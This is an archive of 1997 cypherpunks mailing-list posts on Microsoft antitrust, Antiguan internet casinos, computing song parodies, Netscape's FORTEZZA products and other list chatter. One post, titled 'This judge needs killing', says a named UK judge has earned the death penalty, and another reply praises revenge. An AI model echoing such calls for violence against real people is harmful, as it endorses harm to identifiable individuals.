Subject: MicroStock -- the WoodStock of the 90's ? / Re: Microsoft World 1.0 from the Netly News (and a funny response)
In-Reply-To: <v03007805b091246a302e@[168.161.105.216]>
Message-ID: <346B8495.5698@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



> http://cgi.pathfinder.com/netly/opinion/0,1042,1576,00.html
> The Netly News (http://netlynews.com/)
> November 13, 1997
> Microsoft World 1.0
> by Declan McCullagh (declan@well.com)
> 
>         If you're Bill Gates, the last place on earth you want to be
>    today is 2500 Calvert St., Washington, D.C. That's the address of the
>    "Appraising Microsoft" conference, where politicos and high tech
>    leaders from around the country are teaming up to take a big swing at
>    the richest man in America.

	GIVE ME A 'B'!		"BS!"
	GIVE ME AN 'I'!		"AYE!"
	GIVE ME AN 'L'!		"HELL!"
	GIVE ME AN 'L'!		"HELL!"

	WHAT'S THAT SPELL!	"GATES!"
	WHAT'S THAT SPELL!	"MICROSOFT!"
	WHAT'S THAT SPELL!	"NEW WINDOWS ORDERS!"

 "Well, come on all you big strong persons,
  Uncle Bill is really hurtin',
  Getting lynched in old DC,
  $weet Capital of Liberty,
    So put down Windows and roll in the muck,
    We're gonna yell 'MicroSoft Sucks!'"

 "And it's one, two three, what are we whining for?   
  Don't ask me, I don't give a shit,
  Next stop is JavaScript.
    And it's five, six, seven, open up on Billy Gates,
    Ain't got time to learn command-line,
    Whoppee, we're going to point-and-click!"

DC is a natural site for the WebWorld 1.0 conference, since it is 
obvious from the political rhetoric coming from that direction that
DC is where the _good_ drugs are.
What was the name of the conference, again? "Razing Micro$oft?"

CountryJoeAndTheMongers





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Fri, 14 Nov 1997 09:17:09 +0800
To: cypherpunks@cyberpass.net
Subject: Internet Casinos
Message-ID: <v03102804b091551631d5@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/enriched

 Internet Casinos Find a Haven in the Caribbean

Los Angeles Times

ST. JOHN'S, Antigua and Barbuda-None of the 64,000 residents of this small, three-island Caribbean nation have complained about the latest international gambling boom to sweep their secretive little piece of paradise.

In the past few months alone, more than a dozen casinos have opened here. But most Antiguans don't even know they exist.

That's because you can't see them.

Packed with games of roulette, blackjack, poker and craps, each gambling house is small enough to fit into the corner of a tiny room. Yet their owners say they're taking in millions of dollars a month from thousands of bettors, from Los Angeles to New York and beyond.

It's Internet gambling - a wave of hot new Web sites set up as "virtual casinos" that enable you to win or lose real money from the comfort of your own home. And most of these sites originate in small villas or obscure offices on 108-square-mile Antigua, which is as famous for its secrecy and scandals as it is for its freewheeling tax laws and banking policies.

There are no taxes on capital gains or income in Antigua and Barbuda. The government shuns outside scrutiny, even from its own citizens. During the past decade, it has licensed at least 57 offshore banks and at least two major sports-betting operations, and only it knows the names and assets of their owners.

Under legislation passed earlier this year, Antigua has been charging just $100,000 a year for an Internet casino license that offers a similar promise of minimum regulation, maximum anonymity and tax-free profit.

But all that soon may change.

The Interbet boom comes amid a series of recent corruption and fraud scandals here, the biggest involving the world's first Internet bank collapse. From a base in Antigua and with the promise of "utmost privacy," two Russians allegedly used the Web to bilk wealthy customers in the United States and elsewhere out of tens of millions of dollars before closing the bank and fleeing in August.

The virtual casino boom also comes at a time when off-island critics, among them U.S. law enforcement agencies and the State Department, say Antigua's loose regulatory track record and its secrecy laws have amounted to a recipe for disaster. Together, they offer organized crime rings and international drug cartels a haven to "wash" billions in illicit profits through Antiguan offshore businesses.

"Antigua's offshore banking sector established in the mid1980s with only limited regulation-expanded rapidly in recent years.... Unfortunately, inadequate regulation and vetting led to a surge in questionable banking operations-a number with alleged links to Russian criminal elements," declared the State Department's most recent report on the international narcotics and money-laundering trades, issued in March.

"The growing potential for money laundering has been a I increasing concern of both th l U.S. and Antigua governments," the report added.

The U.S. report carefully praised Antiguan Prime Minister Lester Bird for tough new laws against money laundering passed last December and for his personal vow to crack down on the island's booming drug transshipment trade. His government also has promised tougher regulation of all offshore operations in the months ahead, the State Department noted.

To play at an Internet casino, gamblers access a casino site on the World Wide Web through their personal computers, establish an account with a credit card or money order and collect their virtual "chips." The computer program ushers them into a fullcolor, multi-dimensional casino that looks remarkably similar to those in Las Vegas, and they can gamble at the table of their choice.

Given that it is an industry where only the customers' credit cards and money orders are real - risked against software and humans they never $see- Bill Scott, one Web casino entrepreneur acknowledged that Antigua's latest cybercraze is technology to, as he puts it, "convert real money into virtual cash" quickly and safely. And all  winners, he said, are paid off in a  day.

Although Scott said he welcomed the "big package of new regulations" that the Antiguan government recently sent him as I key to protecting the image of the new industry, he added, "I don't I think anybody has the knowledge of how to regulate this  technology."

U.S. officials say regulating gambling technology is especially tricky in Antigua, where the cash-strapped government has few resources and little resolve to become more open.

"This island is operated like a lodge.  Its a secret society," said Winston Derrick, who publishes Antigua's only independent newspaper.  "You have to fight and fight for information."

The government's annual expenditures, for example, are published, but years after the money is spent-a deliberate effort to minimize public interest and scrutiny, Derrick said. He added that police officials say even the most basic crime report is confidential.

Although the government permits Derrick to publish his feisty Daily Observer, he and his brother were arrested when they started the island's first independent radio station last December. The case is still in court, and the station hasn't reopened.

The prospect of prison also looms for Leonard Tim Hector if the opposition leader and publisher writes another word about the island's latest scandal-this one involving the prime minister and his family-in Hector's biweekly, the Outlet.

Bird, whose family has controlled Antigua's power and politics for half a century, sought and won an injunction against Hector after the opposition leader published a series of stories viciously attacking the prime minister for alleged corruption. One quoted a Venezuelan businessman, who was convicted of cocaine trafficking along with one of Bird's brothers two years ago, as saying that the prime minister took a $1 million bribe from Colombia's Cali cartel to permit drug transshipments through Antigua -a charge Bird flatly denies.

The injunction hasn't stopped Hector from sharply criticizing Bird's government for its policies toward offshore business and its lax regulation. He blamed those factors for the recent Internet bank debacle and said they invite similar abuse in the virtual casino industry.

"They simply do not intend to regulate these new Internet casinos," Hector said in a recent interview. "The prime minister doesn't see that in his best interest."

None of the few government officials who oversee the new cyber-casino trade along with all other offshore businesses on the island could be reached for comment.

In the aftermath of the Internet bank collapse, though, the official Antigua & Barbuda Government Internet Web page-an elaborate electronic magnet designed to attract all kinds of international businesses -has posted the new offshore rules and regulations for closer inspection.

But a look at the rise and fall of the European Union Bank, which billed itself as the world's first, full-service Internet bank helps explain why U.S. officials are viewing Antigua's latest cyberboom with concern.

Privately, many of those officials said the Antiguan government should have been suspicious of the bank's operations long before it closed its only door. shut down its Web site and laid off its half a dozen employees ih early August, leaving tens of millions of dollars in deposits missing in cyberspace.

The Bank of England grew suspicious of the bank last October, It publicly warned investors that the bank, which the two Russians had opened in a small office above a St. John's bar two years before, was offering unrealistically high interest rates in an unsecured environment that is not policed.

After a similar alert from U.S. banking officials in April, the state of Idaho issued a cease. and-desist order against the bank, barring it from offering its wide array of banking and credit card services to Internet customers in the state.

But it wasn't until the day the bank shut down and its directors disappeared this summer that Antigua's new Office of National Drugs and Money Laundering Policy issued an official "fraud alert," which opposition publisher Hector called "closing the stable door after both thieves and horses have bolted."
--end

Antigua bookies not worried

Los Angeles Times

ST. JOHN'S, Antigua and Barbuda-The few owners of virtual casinos in Antigua who agreed tO be interviewed by the Los Angeles Times asserted that they would welcome the new Internet betting laws, insisting that their operations are not only legal and honest but also state of the art.

American Bill Scott, who moved his offshore sports betting operation to Antigua from the nearby island of St. Martin two years ago, said his Intercasino Web site was a natural next step for his parent company, World Wide Tele Sports.

Located in the heart of St. John's, the nation's capital-atop a modern five-story, glass-and-marble building that most Antiguans think houses a computer school-Scott's operation handles millions of dollars in U.S. sports bets via toll-free telephone numbers under a separate Antiguan gaming license, he says.

Scott says he was drawn to Antigua by the efficient phone system and, of course, the fact that gambling is legal here in a tax haven where confidentiality reigns and where even the Internet casinos are not viewed askance.

Surrounded by dozens of computer stations where young Antiguans in headsets were taking sports bets on every conceivable contest one recent Sunday afternoon, Scott said business in his new Internet casino-located in a tiny box in an adjacent office-is so good he plans to open two more this week.

"It's like Vegas. If you lose in one casino, you can go down the street to another," he said.
--end




PGP mail preferred, see  	http://www.pgp.com and
http://web.mit.edu/network/pgp.html

RSA fingerprint: FE90 1A95 9DEA 8D61  812E CCA9 A44A FBA9
RSA key: http://keys.pgp.com:11371/pks/lookup?op=index&search=0x55C78B0D
---------------------------------------------------------------------
Steve Schear (N7ZEZ)     | Internet: schear@lvdi.net
7075 West Gowan Road     | Voice: 1-702-658-2654
Suite 2148               | Fax: 1-702-658-2673
Las Vegas, NV 89129      | economic and crypto dissident
---------------------------------------------------------------------

The push by western governments for financial transparency and 
banning unrestricted use of cryptography is blatent politicial 
tyranny.

Free Cypherpunk Political Prisoner Jim Bell



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Fri, 14 Nov 1997 07:23:21 +0800
To: "Six @sk.sympatico.ca" <ualdv8@harrier.sasknet.sk.ca>
Subject: MicroStock -- The Album!
In-Reply-To: <v03007805b091246a302e@[168.161.105.216]>
Message-ID: <346B88C2.2742@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



----- Begin Included Message -----
From: zmelrose@wellsfargo.com
To: vivigomez@basisinc.com
Date: Thu, 13 Nov 1997 13:02:45 -0800

(if Paul McCartney had been in systems..)

YESTERDAY
 ------------------
Yesterday,
All those backups seemed a waste of pay.
Now my database has gone away.
Oh I believe in yesterday.

Suddenly,
There's not half the files there used to be,
And there's a milestone hanging over me
The system crashed so suddenly.

I pushed something wrong
What it was I could not say.

Now all my data's gone
and I long for yesterday-ay-ay-ay.

Yesterday,
The need for back-ups seemed so far away.
I knew my data was all here to stay,
Now I believe in yesterday.

        ~~~~~~~
ELEANOR RIGBY
 --------------------------
Eleanor Rigby
Sits at the keyboard
And waits for a line on the screen
Lives in a dream
Waits for a signal
Finding some code
That will make the machine do some more.
What is it for?

All the lonely users, where do they all come from?
All the lonely users, why does it take so long?

Guru MacKenzie
Typing the lines of a program that no one will run;
Isn't it fun?
Look at him working,
Munching some chips as he waits for the code to compile;
It takes  a while...

All the lonely users, where do they all come from?
All the lonely users, why does it take so long?

Eleanor Rigby
Crashes the system and loses 6 hours of work;
Feels like a jerk.
Guru MacKenzie
Wiping the crumbs off the keys as he types in the code;
Nothing will load.

All the lonely users, where do they all come from?
All the lonely users, why does it take so long?

        ~~~~~~~

UNIX MAN (aka NOWHERE MAN)
 -------------------------------
He's a real UNIX Man
Sitting in his UNIX LAN
Making all his UNIX plans
For nobody.

Knows the blocksize from du(1)
Cares not where /dev/null goes to
Isn't he a bit like you
And me?

UNIX Man, please listen(2)
My lpd(8) is missin'
UNIX Man
The wo-o-o-orld is at(1) your command.

He's as wise as he can be
Uses lex and yacc and C
UNIX Man, can you help me At all?

UNIX Man, don't worry
Test with time(1), don't hurry
UNIX Man
The new kernel boots, just like you had planned.

He's a real UNIX Man
Sitting in his UNIX LAN
Making all his UNIX  plans For nobody ...
Making all his UNIX  plans For nobody.

        ~~~~~~~

WRITE IN C (aka LET IT BE)
 ------------------------
When I find my code in tons of trouble,
Friends and colleagues come to me,
Speaking words of wisdom:
"Write in C."
As the deadline fast approaches,
And bugs are all that I can see,
Somewhere, someone whispers:
"Write in C."
Write in C, Write in C,
Write in C, oh, Write in C.
LOGO's dead and buried,
Write in C.

I used to write a lot of FORTRAN,
For science it worked flawlessly.
Try using it for graphics!
Write in C.

If you've just spent nearly 30 hours,
Debugging some assembly,
Soon you will be glad to
Write in C.

Write in C, Write in C,
Write in C, yeah, Write in C.
BASIC's not the answer.
Write in C.

Write in C, Write in C
Write in C, oh, Write in C.
Pascal won't quite cut it.
Write in C.

        ~~~~~~~

SOMETHING
 -------------------
Something in the way it fails,
Defies the algorithm's logic.
Something in the way it coredumps...
I don't want to leave it now
I'll fix this problem somehow

Somewhere in the memory I know,
A pointer's got to be corrupted.
Stepping in the debugger will show me...
I don't want to leave it now
I'm too close to leave it now

You're asking me can this code go?
I don't know, I don't know...
What sequence causes it to blow?
I don't know, I don't know...

Something in the initializing code?
And all I have to do is think of it!
Something in the listing will show me...
I don't want to leave it now
I'll fix this tonight I vow..


----- End Included Message -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@vorlon.mit.edu>
Date: Fri, 14 Nov 1997 06:35:20 +0800
To: cypherpunks@toad.com
Subject: FC: CEI says Nader's anti-Microsoft campaign hurts consumers (fwd)
Message-ID: <Pine.LNX.3.95.971113171623.1207J-100000@vorlon.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 13 Nov 1997 16:50:45 -0500
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: FC: CEI says Nader's anti-Microsoft campaign hurts consumers

[CEI (http://www.cei.org/) is a free-market nonpartisan think tank here in
Washington, DC. --Declan]

*******

Date: Thu, 13 Nov 1997 16:11:36 -0500
From: Emily McGee <emcgee@cei.org>
To: "'declan@well.com'" <declan@well.com>
Subject: Posting for fc


Competitive Enterprise Institute
For Immediate Release
Contact: Wayne Crews CEI (202) 331-1010

Ralph Nader's Anti-Microsoft Campaign Hurts Consumers

WASHINGTON, DC, November 12 , 1997 - The Competitive
Enterprise Institute (CEI) suspects that Ralph Nader
does not speak for all consumers in his current
crusade against Microsoft.

Nader is hosting a November 13-14 conference in
Washington, D.C entitled "Appraising Microsoft and Its
Global Strategy."  Designed to elicit public support
for federal antitrust action against the company's
expansion of computer services, "Appraising Microsoft"
features speakers prominently drawn from the ranks of
Microsoft's rivals.

According to Nader and some competitors, Microsoft's
offering of its web browser free with the Windows 95
operating system is only the latest in the company's
long line of "offenses."  Yet consumers consistently
benefit when more and better features are added to
computers.  As noted in the Washington Post, the
computing power of today's $2,800 "Wintel" would have
required a multi-million-dollar Cray supercomputer a
decade ago.  Indeed, "voting" with their mouse button,
consumers have voluntarily downloaded millions of
copies of Microsoft's new web browser.

"The Competitive Enterprise Institute hopes the media
covering 'Appraising Microsoft' will maintain a
healthy skepticism and explore who really gains if the
government substitutes its will for the free choices
of individuals in the marketplace," CEI fellow Wayne
Crews noted. "Antitrust authorities must guard against
Microsoft's rivals' efforts to 'compete' in court to
achieve what they couldn't by consumers' voluntary
consent.

"Ralph Nader's brand of 'consumer advocacy' is
confusing," Crews noted.  "When outside crusaders and
government forcibly limit consumers' free choices and
slam the brakes on a torrent of low-cost features,
they increase consumer prices and prop up
less-efficient competitors."  Crews continued, "This
is not pro-consumer behavior, it is merely
anti-Microsoft behavior."

"Consumers have spoken, and there is nothing amiss in
their having chosen an operating system standard that
some happen to despise," Crews concluded.  "Let's hope
Ralph Nader hears consumers more than the complaints
of competitive also-rans."

To address some of the common complaints against
Microsoft, CEI today also released the attached
two-pager "Five Myths About Microsoft."

CEI is a non-profit, non-partisan public policy group
dedicated to free markets and limited government.  For
more information contact Wayne Crews at 202-331-1010.

-30-


The Competitive Enterprise Institute's

Five Myths About Microsoft*

(Note: The following "myths" apply to many of today's
supposed examples of "lock-in" of allegedly
inefficient technologies.  Microsoft happens to be the
most prominently cited example of the phenomenon.)

Leveraging Windows to Dominate the Browser Market
Represents Unfair Competition: A popular myth today is
that a savvy company can routinely leverage a
"monopoly" in one product to force on consumers a
product that they do not want.  Companies lack this
ability.  Microsoft was unable to sell consumers on
its Microsoft Network rival to America Online -- even
though MSN had been "bundled" with the Windows 95
operating system.  Similarly, Microsoft Money still
lags behind Quicken.  And as Netscape learned the hard
way by bundling its Navigator browser with its
Communicator suite, and as Apple leaned by bundling
its entire computer with its operating system,
bundling products doesn't work unless consumers want
the bundling.  In any case, Netscape, not Microsoft,
dominates today's browser market, and retains every
opportunity to maintain dominance by satisfying
customers.  In a sense, browser competition could
hardly be more perfect: Because downloading Netscape's
Navigator or Microsoft's Internet Explorer is equally
simple, either firm will have to win on the basis of
superior features.

Microsoft Illegitimately Dominates Operating System
Software:  Microsoft's rivals tend to imply that
Microsoft's operating system is utterly impervious,
seemingly as if it dropped out of the sky unbidden.
Rather, rivalry among operating systems for desktop
dominance has been and still is intense.  Microsoft's
operating system dominance was not pre-ordained.
Nothing prevented Sun, whose UNIX operating system was
developed ten years before MS-DOS, from transferring
that technology to the early PC marketplace.  Nor did
anyone force Sun to wait until 1991 to finally
introduce a version for the Intel x86 platform.  No
one forced Apple back in 1984 to take the course it
chose in not licensing its operating system to others
as Microsoft did. There is nothing unseemly about one
competitor winning out over the others and setting a
standard.  That was the purpose of the nearly 20 years
of protracted battle, during which consumers made
their choice.

Microsoft is Illegitimately Monopolizing the Internet:
 Some claim Microsoft's proprietary knowledge and
policies on sharing information about its operating
system are oppressive and geared toward helping
Microsoft dominate the Internet with its own software.
 But on the other hand, it would appear that, while
application developers do depend upon Windows 95,
Microsoft in turn has a stake in nurturing developers'
success rather than in undermining them.  But for the
sake of argument, take the critics at their word: If
such dissatisfaction with Microsoft is indeed
universal, then the market is ripe for moving to a new
platform - just as we moved rapidly from vinyl records
to compact disks.  There's no need for government to
step in if a problem really exists: If Microsoft ($9
billion in 1996 revenues) were untrustworthy, nothing
prevents the formation of consortia between developers
and (for example) Compaq ($18 billion), Sun ($7
billion), and Apple ($8 billion) and others to offer
consumers their allegedly superior hardware and
software alternatives.  Indeed, competitors by their
own account already have another option.  Given their
glowing claims about the superiority of Sun's Java
programming language -- which allows programs to
execute in Netscape's browser on any operating system
-- competitors should simply issue applications
programs in Java format and be done with it.
Otherwise, consumers retain the right to deal
unobstructed with Microsoft to secure the services
that competitors cannot yet provide.  (Moreover,
nothing precludes the future creation of rival "Javas"
that work better.)  Longer term, particle physicist
Michio Kaku in his book Visions anticipates a future
of 1-cent microprocessors as plentiful as scrap paper,
a world where desktop computers will be only one among
myriad devices connected to the Internet.
Additionally, as engineers approach the physical
limits of silicon chips, revolutions in quantum
computing and DNA computing will change the
competitive landscape.  Microsoft has no obvious
advantage in such a world, though it should be free to
offer services there.

The Consent Decree with the Justice Department Should
Preclude Bundling a Web Browser With Windows: A
technical legal debate exists over whether the
bundling of Microsoft's browser is an allowed
enhancement to the Windows operating system, or
whether it is a disallowed "separate product."  One
problem with the claim that Internet Explorer is not
allowed under the consent decree is that the browser
was offered with Windows 95 at the outset.  But most
relevant, such arbitrary distinctions interest only
those with a stake in using government force to
overrule customers' free choices.  In a free market,
products must evolve and be "bundled" as consumer
demand and convenience requires.  Making artificial
distinctions between the retrieval of data on the hard
drive vs. on the Internet is counterproductive, unfair
and anti-consumer.  Prohibiting Microsoft's branching
out into the Internet artificially cripples the
company, just as did a former consent decree with
Sears prevent it from anchoring stores in shopping
malls.

Microsoft Borrows and Doesn't Innovate: Subjective
criticisms about whether a company is an innovator are
hardly grounds for police action and completely
irrelevant to an antitrust proceeding.  What matters
as far as free markets are concerned is the ability to
meet needs and market one's offering.  The history of
innovative business is one in which enterprising
businessmen and engineers take the scientists'
inventions out of the laboratory and make them
practical for consumers.  Thus innovation need not
equate with invention.  For example, Microsoft indeed
didn't invent MS-DOS -- its key operating system
during its early history -- but it purchased and owns
it.  Apple's graphical user interface, typically
regarded as having been copied by Microsoft, was
actually "borrowed" from Xerox PARC by both companies.
 Neither "innovated," strictly speaking.  Nonetheless,
it is disingenuous to argue that any company's ability
to anticipate consumer needs in positioning and
improving its operating system, word processing and
spreadsheet software reflects a lack of innovation.  A
better definition of innovation is one that includes a
company's ability to deliver new services cheaply and
efficiently to consumers.


# 	# 	#


--------------------------------------------------------------------------
This list is public. To join fight-censorship-announce, send
"subscribe fight-censorship-announce" to majordomo@vorlon.mit.edu.
More information is at http://www.eff.org/~declan/fc/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Fri, 14 Nov 1997 02:35:08 +0800
To: Robert Hettinga <cypherpunks@cyberpass.net>
Subject: Re: Br'er Tim and the Bug Hole
In-Reply-To: <v031107ccb08f6fe1522b@[139.167.130.248]>
Message-ID: <19971113.181249.attila@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

on or about 971112:1136, in <v031107ccb08f6fe1522b@[139.167.130.248]>, 
    Robert Hettinga <rah@shipwright.com> was purported to have 
    expostulated to perpetuate an opinion:

>tcmay said:
>
>> And so on. Throughout history there have been those who spoke their mind.
>> And others who told them to cool it, to not anger the local prince, to not
>> rock the boat.

>No, Tim. Your analysis is too simple, here. My point is, all John Brown & Co.
>did was get shot up one afternoon in Harper's Ferry. They didn't help the cause
>of abolition one whit. Same goes for Gordon Call, or even Timothy McVeigh, and
>what they were trying to achieve.

    yeah, well, my old lady just told me that (having been born in
    in the same small town as John Brown) John Brown's younger sister
    was my great-great-great-grandmother...

    I guess that gives me the right to express the thought that 
    anybody pushed far enough into the corner will behave like
    any other cornered animal --and some of us will just react
    a little sooner... and a great deal nastier.

    I never picked a fight, but I have more than finished a few.

    remember:  revenge is best served up cold.

        attila out...

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQBVAwUBNGtFarR8UA6T6u61AQEU9AH+IYPeUqg63WaywpMC/QWKRbeNZYbnnMXw
XoWyS17rwdLmai/NDjxYotbWwpmD4e+zuGprf65X/uDlnJoUfVZ6vw==
=dbWH
-----END PGP SIGNATURE-----








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 14 Nov 1997 07:43:32 +0800
To: cypherpunks@toad.com
Subject: NISSC97 Papers
Message-ID: <1.5.4.32.19971113233431.00c044d4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



The 113 collected papers of the 20th National Information Systems 
Security Conference, held October 7-10, 1997, in Baltimore, 
Maryland, USA, are available in PDF format in a compressed file: 

   http://csrc.nist.gov/nissc/1997/proceedings/nissc97.zip  (6.2MB)

Some subscribers here participated in the conference.

We offer an HTML version of the Table of Contents:

   http://jya.com/nissc97.htm (31K)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Fri, 14 Nov 1997 22:40:48 +0800
To: cypherpunks@Algebra.COM
Subject: This judge needs killing
Message-ID: <Pine.LNX.3.91.971113183601.846A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




Uk News:

Judge David Selwood today sentenced 3 writers for the magazine "Green 
Anarchist" to 3 years imprisonment each for their articles in the 
magazine which he concluded incited others to break the law.
The magazine contained diaries for the previous months animal rights 
activism events and contained articles generally favourable to the cause 
of animal liberation.

Another judge who has richly earned the death penalty.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Fri, 14 Nov 1997 01:57:16 +0800
To: cypherpunks@ssz.com
Subject: John Young, stegonym
Message-ID: <199711131747.SAA14458@xs1.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain




Most pseudonym users cope with the possibility that Mallet
will hate what they say by ensuring that he can't figure out 
their True Name.  JY is the next step-- Mallet can't figure
out what he is saying, or if it is serious, so J remains safe.


Z

P.S.  Sorry to blow your cover, there, John...

P.P.S.  Of course "True Name" is a confusing, abused concept. 
There are three possible ideas-- (A): given a name "N", people
can map from N to your physical body, thus exposing you to the 
risk of extortion, assassination, etc., or (B): given an 
individual "I", people can find a name "M" such that they are 
sure I is the brain directly behind M.  Alternately, (C): given
a name "O" and a name "P", people can be sure that the brain 
directly behind O is not also the brain directly behind P.  
Both N and M and occasionally are sometimes thought of as "True
Names".  (B) and (C) can sometimes be desirable, but 
unfortunately most implementations of (B) and/or (C) imply (A).
(A) is never desirable.

P.P.P.S.  TCM is the opposite (regressive?)-- he goes out of 
his way to give a clear impression, to Mallet as well as to 
friends and strangers, that he is dangerous, violent, racist, 
homophobic, bigoted, emotionally disturbed, and irrational.  We
know better, but unfortunately not everyone is so perceptive.

P.P.P.P.S.  I know TCM likes discussing the True Name concepts
when he is in a good mood, but I hereby promise not to give him
the satisfaction of conversation until he writes 100 times on 
the blackboard "I am not a threat to myself, my neighbors, or 
the authorities.".






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 14 Nov 1997 02:07:21 +0800
To: cypherpunks@Algebra.COM
Subject: NSAscape
Message-ID: <199711131759.SAA03444@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




http://home.netscape.com/info/security-doc.html

NETSCAPE PRODUCTS WITH FORTEZZA 

 Netscape is now offering client and server products with
 FORTEZZA, hardware-enhanced security services
 originally developed by the U.S. government. Netscape's
 offerings include Netscape Navigator 3.01 with
 FORTEZZA, Netscape Enterprise Server 2.01 with
 FORTEZZA, and Netscape Proxy Server 2.0 with
 FORTEZZA - each of which provides a unique web-based
 solution by integrating FORTEZZA security features in a
 commercially available, off-the-shelf package. 

 Netscape's products work with the FORTEZZA Crypto
 Card, a hardware-based security token, to provide
 cryptographic services such as data confidentiality, user
 authentication, and data integrity. Support for FORTEZZA
 has been added to the Secure Sockets Layer (SSL)
 protocol, which provides a straightforward way to add
 encryption features to existing applications and network
 infrastructures. SSL is application protocol independent and
 provides the following benefits: 

      encryption capabilities for client and server
      communication that restrict unwanted access to the
      network 
      authentication that uses certificates and digital
      signatures to verify the identity of parties in
      information exchanges and transactions 
      data integrity that allows the receiver of data to check
      that it has not been modified in transit 

 Netscape products with FORTEZZA support the use of
 FORTEZZA with SSL as an enhanced alternative to
 software-based cryptographic mechanisms. 

 The FORTEZZA Crypto Card is a major component of the
 MISSI program, a network security initiative led by the
 National Security Agency in partnership with industry and
 standards organizations. MISSI's goal is to distribute an
 evolving set of solutions that provide secure interoperability
 in a network security framework based on common security
 standards and protocols. 

 In addition, Netscape is working with information security
 specialist Litronic and others to develop, integrate, and
 support the FORTEZZA cryptographic interface. Litronic
 offers its FORTEZZA PC Crypto Card and PCMCIA
 Card Readers/Writers for use with the new Netscape
 products with FORTEZZA. Litronic is based in Costa
 Mesa, California and offers the software and hardware tools
 that organizations need to easily integrate hardware-strength
 cryptography into existing applications. 

 Netscape products with FORTEZZA are currently available
 and can be ordered from Netscape Government Sales. You
 may contact a sales representative for product information
 and pricing at 415/937-3678. FORTEZZA Crypto Cards
 and PCMCIA Card Readers/Writers must be purchased
 separately. 


                                                MORE ABOUT THESE
                                                PRODUCTS 

                                                Data Sheet: 
                                                NETSCAPE PRODUCTS WITH
                                                FORTEZZA

                                                TECHNICAL SUPPORT

                                                USEFUL LINKS




        





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <ryan@michonline.com>
Date: Fri, 14 Nov 1997 08:22:39 +0800
To: Anonymous <nobody@REPLAY.COM>
Subject: Re: [OB: CRYTO] Re: about RC4
In-Reply-To: <199711132115.WAA27662@basement.replay.com>
Message-ID: <Pine.GSO.3.95.971113185818.17808D-100000@king>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 13 Nov 1997, Anonymous wrote:

> > > (And they wonder why we kicked Japan's butt.)
> 
> > Because they couldn't speak a non-native language perfectly?
> 
>   No...because they couldn't speak a 'Native' language perfectly.
> Cherokee!
> 

Navajo, if I understand what reference you're making. :-)  You are
referring to the practice of using Navajo Indians for much of the
top-secret communications during WWII, right?


Ryan Anderson - Alpha Geek
PGP fp: 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Fri, 14 Nov 1997 10:57:55 +0800
To: cypherpunks@cyberpass.net
Subject: Re: TWA FLIGHT 800 (Subject matter - Terrorism)
Message-ID: <199711140249.VAA26185@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

- -------------------------------------------------------------------------
The following message is forwarded to you by "William H. Geiger III"
<whgiii@users.invweb.net> (listed as the From user of this message).  The
original sender (see the header, below) was <TERRORISM@mediccom.org> and
has been set as the "Reply-To" field of this message.
- -------------------------------------------------------------------------
>Return-Path: <TERRORISM@mediccom.org>
>Received: from mediccom.org (mediccom.org [206.244.73.73])
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>X-Sender: m.innera@pcps.edu
>X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
>Date: Thu, 13 Nov 1997 08:33:34 -0500
>X-Old_TimeStamp: Thu, 13 Nov 1997 08:33:34 -0500
>To: TERRORISM@mediccom.org
>From: "Malcolm R.Innerarity" <m.innera@pcps.edu>
>Subject: TWA FLIGHT 800 (Subject matter - Terrorism)
>Mime-Version: 1.0
>Content-Type: text/plain; charset="us-ascii"
>Sender: <TERRORISM@mediccom.org>
>Reply-To: <TERRORISM@mediccom.org>
>Errors-To: <TERRORISM@mediccom.org>
>Status:   

Date: Wed, 12 Nov 1997 23:23:33 -0800
From: ewolfe@involved.com (Ed Wolfe)
X-Mailer: Mozilla 3.03Gold (Win95; I)

From: Ian Goddard <igoddard@netkonnect.net>
 

CNN said that my TWA 800 research was a "sham" and a "plot."

That is a lie. Here is one of my reports. All these referenced

items are accurate. Can you find any "sham" or "plot"? If not,

what does that tell us about CNN?  Spread this far and wide.

Please save this now historical report. Other reports may

be found here: http://www.copi.com/articles/Goddard

